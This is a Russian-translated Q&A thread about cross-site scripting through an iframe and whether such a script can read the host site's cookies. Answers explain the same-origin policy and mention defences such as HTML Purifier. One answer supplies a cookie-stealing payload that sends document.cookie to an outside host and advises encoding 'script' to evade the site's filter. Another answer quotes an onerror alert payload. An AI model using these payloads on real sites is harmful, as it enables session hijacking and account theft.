межсайтовый скриптинг с Iframe - PullRequest
7 голосов
/ 28 ноября 2011

Я экспериментирую с межсайтовым скриптингом.У меня есть сайт, который позволяет пользователям вставлять комментарии и просматривать их на сайте.Сайт отфильтровывает строку «script», хотя и из комментария, но допускает фреймы.Я понимаю, что могу встроить iframe, указывающий на веб-сайт, который я создаю, и могу запускать любой сценарий, который захочу.Мой вопрос: сможет ли мой скрипт iframe считывать файлы cookie, инициированные исходным веб-сайтом?Я пробовал оповещение (document.cookie), но оно показывает оповещение, в котором ничего нет.Оригинальный сайт всегда устанавливает cookie, хотя, когда клиент запрашивает его.Есть идеи, что мне не хватает?

Ответы [ 4 ]

9 голосов
/ 28 ноября 2011

Обе окружающие страницы должны исходить из одного домена. Это ограничено одной и той же политикой происхождения, которая гласит, что сценарий в одном кадре может получать доступ только к данным в другом кадре, если они находятся на одном и том же протоколе, имеют одно и то же доменное имя и работают на одном и том же порту. Его можно немного ослабить, установив document.domain в домен верхнего уровня в обоих фреймах и, таким образом, разрешив обмен фреймами из субдомена.

Вы можете попытаться ввести, хотя это может быть заблокировано в новых браузерах.

Однако ограничивающего скрипта недостаточно для остановки XSS. Есть много много других способов. См http://html5sec.org и http://ha.ckers.org/xss.html

3 голосов
/ 22 января 2014

Похоже, вы пытаетесь использовать cookie в качестве полезной нагрузки для XSS?

Вы на самом деле пытаетесь украсть печенье?

Но если сайт позволяет вам вставлять комментарии и удалять только «скрипт», у вас есть куча альтернатив для вставки XSS, включая скрипт coookie stealing.

Попробуйте это

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;

но вы хотите закодировать скрипт слова, чтобы вы могли вместо этого попробовать

1012 * скрипт *

или Unicode 73 63 72 69 70 74

1 голос
/ 28 мая 2013

Файлы cookie следуют той же политике происхождения.Таким образом, если сайт атаки и сайт жертвы (который позволяет открывать iframes) имеют один и тот же хост, то всплывающее окно при запуске document.cookie будет содержать информацию о файлах cookie.Так как в вашем случае они кажутся из доменов diff, кража файлов cookie невозможна.Для предотвращения XSS лучше использовать тег C: out базовой библиотеки jstl

0 голосов
/ 28 ноября 2011

Насколько я знаю, iframe не может получить доступ к исходному веб-сайту, если домен iframe и домен исходного веб-сайта отличаются, но есть другие проблемы .(напр., взломщик комментирует <img src="asdf" onerror="alert(document.cookie)"/>)

Вы можете использовать что-то вроде Очиститель HTML ....

...